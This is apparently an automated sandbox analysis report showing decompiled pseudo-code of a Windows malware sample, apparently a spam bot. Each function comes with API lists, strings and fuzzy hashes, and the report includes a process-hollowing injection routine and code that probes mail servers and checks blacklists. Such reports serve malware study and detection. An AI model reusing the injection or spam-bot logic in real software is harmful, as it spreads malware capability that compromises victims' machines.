				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,75D6F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,75D6F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

net_type, xrefs: 004021DF
rbl_ip, xrefs: 0040218F
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_bl, xrefs: 00402181

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 02F0F565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(02F0CC6D), ref: 02F0F59D
socket.WS2_32(00000002,00000001,00000000), ref: 02F0F5B7
closesocket.WS2_32(00000000), ref: 02F0F5C5

Strings

time_cfg, xrefs: 02F0F573
p0u, xrefs: 02F0F5C5, 02F0F5F0
^1u, xrefs: 02F0F619

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p0u$time_cfg$^1u
API String ID: 311057483-1508022812
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: bfa0ab63bf1b10f3d6e6aaee7f97d20454fb5b393b6c1df27c7c3f3b40649937
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 67316272900218ABDB20DFA4DC89DEE7BBCEF49354F104266FA15D3190DB709A819FA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F03042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 02F03051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02F03061
GetProcAddress.KERNEL32(00000000,00410408), ref: 02F0307E
RtlAllocateHeap.NTDLL(00000000), ref: 02F0309F
htons.WS2_32(00000035), ref: 02F030D8
inet_addr.WS2_32(?), ref: 02F030E3
gethostbyname.WS2_32(?), ref: 02F030F6
HeapFree.KERNEL32(00000000), ref: 02F03136

Strings

iphlpapi.dll, xrefs: 02F0304B, 02F03050, 02F03060

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 62820c8bc2d0fce4f93097897b659068938771bd87d7661c9bad6a7ffef8db6d
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: CF31C731E00205BBEB109B74DCC8B9E7BB8AF087A5F1441A5E614E71D0D774D9819B58

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,74B5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

GetSystemWow64DirectoryA, xrefs: 00406CDD
kernel32, xrefs: 00406CE2
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32 ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 02F06761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 02F067AC
htonl.WS2_32(?), ref: 02F067C8
htonl.WS2_32(?), ref: 02F067D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 02F068DA
ExitProcess.KERNEL32 ref: 02F069A5

Strings

except_info, xrefs: 02F06978
localcfg, xrefs: 02F0697D

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 4f5cc8d422ed12915635f66fb92412fe1cc165427c8c09be4672b9668c2c28dd
Instruction ID: 20d7312aa68058966062b8322bf9901c7ce1788144e2c78cb7f447dd3180c773
Opcode Fuzzy Hash: 4f5cc8d422ed12915635f66fb92412fe1cc165427c8c09be4672b9668c2c28dd
Instruction Fuzzy Hash: 13617F72A40208AFDB609FA4DC45FEA77E9FF08300F148466FA6CD21A1EB759990DF54

Uniqueness

